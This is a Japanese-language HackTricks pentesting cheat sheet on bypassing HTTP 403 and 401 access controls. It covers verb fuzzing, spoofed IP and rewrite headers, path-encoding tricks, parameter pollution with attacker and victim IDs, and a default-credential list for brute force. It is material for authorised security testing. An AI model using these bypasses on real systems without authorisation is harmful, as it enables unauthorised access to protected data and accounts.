403 & 401 Bypasses

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

HTTP Verbs/Methods Fuzzing

異なる動詞を使用してファイルにアクセスしてみてください: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • レスポンスヘッダーを確認してください。情報が提供されるかもしれません。例えば、HEADに対する200レスポンスContent-Length: 55の場合、HEAD動詞が情報にアクセスできることを意味します。しかし、その情報を抽出する方法を見つける必要があります。
  • X-HTTP-Method-Override: PUTのようなHTTPヘッダーを使用すると、使用される動詞を上書きできます。
  • TRACE動詞を使用し、運が良ければ、レスポンスに中間プロキシによって追加されたヘッダーも表示されるかもしれません。

HTTP Headers Fuzzing

  • Hostヘッダーを任意の値に変更します(ここで機能した

  • 他のユーザーエージェントを使用してリソースにアクセスしてみてください。

  • HTTPヘッダーをファズ: HTTPプロキシヘッダー、HTTP認証ベーシックおよびNTLMブルートフォース(いくつかの組み合わせのみ)やその他の技術を試してください。これを行うために、fuzzhttpbypassというツールを作成しました。

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

もしパスが保護されている場合、これらの他のヘッダーを使用してパス保護をバイパスしてみてください:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • ページがプロキシの背後にある場合、プライベート情報へのアクセスを妨げているのはプロキシかもしれません。HTTPリクエストスムージング または hop-by-hopヘッダーを悪用してみてください。

  • 特別なHTTPヘッダーをファズし、異なるレスポンスを探します。

  • HTTPメソッドをファズしながら特別なHTTPヘッダーをファズします。

  • Hostヘッダーを削除すると、保護をバイパスできるかもしれません。

Path Fuzzing

もし_/path_がブロックされている場合:

  • /%2e/pathを使用してみてください(アクセスがプロキシによってブロックされている場合、これで保護をバイパスできるかもしれません)。また、/%252e**/path(二重URLエンコード)も試してください。
  • Unicodeバイパスを試みます:/%ef%bc%8fpath(URLエンコードされた文字は「/」のようなものです)ので、再エンコードされると_//path_になり、すでに_/path_の名前チェックをバイパスしているかもしれません。
  • 他のパスバイパス
  • site.com/secret –> HTTP 403 Forbidden
  • site.com/SECRET –> HTTP 200 OK
  • site.com/secret/ –> HTTP 200 OK
  • site.com/secret/. –> HTTP 200 OK
  • site.com//secret// –> HTTP 200 OK
  • site.com/./secret/.. –> HTTP 200 OK
  • site.com/;/secret –> HTTP 200 OK
  • site.com/.;/secret –> HTTP 200 OK
  • site.com//;//secret –> HTTP 200 OK
  • site.com/secret.json –> HTTP 200 OK (ruby)
  • 次の状況でこのリストを使用します:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • 他のAPIバイパス:
  • /v3/users_data/1234 --> 403 Forbidden
  • /v1/users_data/1234 --> 200 OK
  • {“id”:111} --> 401 Unauthorized
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 Unauthorized
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSONパラメータ汚染)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (パラメータ汚染)

Parameter Manipulation

  • param値を変更: id=123 --> id=124
  • URLに追加のパラメータを追加します: ?id=124 —-> id=124&isAdmin=true
  • パラメータを削除します
  • パラメータの順序を変更します
  • 特殊文字を使用します。
  • パラメータで境界テストを実施します — _-234_や_0_や_99999999_のような値を提供します(いくつかの例値)。

Protocol version

HTTP/1.1を使用している場合は、1.0を使用してみてください、または2.0をサポートしているかテストしてみてください

Other Bypasses

  • ドメインのIPまたはCNAMEを取得し、直接連絡してみてください
  • 一般的なGETリクエストを送信してサーバーにストレスをかけてみてくださいこの人がFacebookで成功した)。
  • プロトコルを変更: httpからhttpsへ、またはhttpsからhttpへ
  • https://archive.org/web/にアクセスし、過去にそのファイルが全世界にアクセス可能だったかどうかを確認します

Brute Force

  • パスワードを推測: 次の一般的な資格情報をテストします。被害者について何か知っていますか?それともCTFチャレンジ名は?
  • ブルートフォース: 基本、ダイジェスト、NTLM認証を試してください。
Common creds
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

自動ツール

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする